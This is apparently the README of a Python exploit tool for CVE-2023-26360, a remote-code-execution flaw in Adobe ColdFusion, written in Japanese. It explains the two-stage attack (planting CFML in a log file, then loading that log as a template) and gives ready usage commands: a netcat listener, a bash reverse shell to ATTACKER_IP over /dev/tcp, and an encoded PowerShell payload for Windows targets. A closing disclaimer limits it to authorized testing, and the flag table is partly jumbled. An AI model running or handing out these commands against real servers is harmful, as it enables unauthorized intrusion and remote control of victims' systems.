
このエクスプロイトはCVE-2023-26360 (https://nvd.nist.gov/vuln/detail/CVE-2023-26360) に基づいており、Metasploitモジュールとjakabakos/CVE-2023-26360-adobe-coldfusion-rce-exploitを基に構築されています。
CVE-2023-26360 のリモートコード実行エクスプロイトの Python 実装です。元の Metasploit モジュール の解析と jakabakos の先行研究に基づいています。
jakabakos の PoC は、<cfexecute> を直接 _variables パラメーターに注入し、その出力を ColdFusion ログから一度に読み取ろうとします。しかし、ColdFusion はそのコンテキストで CFML タグをインライン評価しないため、このアプローチは失敗し、コード実行に至らず 500 エラーが発生します。
本実装は、Metasploit モジュールで使用されている正しい2段階のメカニズムを再現しています。
_variables ペイロード({<cftry>CFML</cftry>)を脆弱な CFC エンドポイントに送信します。ColdFusion はこれを解析できず、CFML コードを含む生の内容を coldfusion-out.log に書き込みます。コマンド実行は、createObject を介して java.lang.Runtime.exec() を使用して行われ、<cfexecute> への依存を排除しています。<cfexecute> は通常、強化された環境や本番環境では無効にされています。
pip install -r requirements.txt
エクスプロイトを実行する前にリスナーを起動してください。
nc -lvnp 4444
Windows ターゲット:
python exploit.py --host http://TARGET:8500 --win --cmd "powershell -e <BASE64_PAYLOAD>"
Linux ターゲット:
python exploit.py --host http://TARGET:8500 --cmd "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
プロキシ経由(例: Burp Suite):
python exploit.py --host http://TARGET:8500 --win --cmd "whoami" --proxy http://127.0.0.1:8080
| フラグ | 説明 |
|---|---|
--host | ターゲットのベースURL(例: ) |
┌─────────────┐ Step 1: plant CFML ┌──────────────────┐
│ Attacker │ ──── POST /_variables={<cftry>... ──► iedit.cfc │
│ │ CF fails to parse, logs CFML │ │
│ │ │ coldfusion- │
│ │ Step 2: trigger execution │ out.log │
│ │ ──── POST classname=X..\logs\cf... ──► (loaded as │
│ │ │ CFML template) │
│ Listener │ ◄─────────────── reverse shell ───────│ │
└─────────────┘ └──────────────────┘
このツールは教育目的および許可されたセキュリティ評価(侵入テスト、CTF、ラボ環境)のためにのみ提供されています。明示的な書面による許可なくこのエクスプロイトをシステムに対して実行することは違法です。作成者は不正使用に対する一切の責任を負いません。
http://192.168.1.10:8500--cmd | ターゲット上で実行するコマンド |
--win | ターゲットが Windows ホストの場合に設定 |
--proxy | オプションの HTTP プロキシ URL |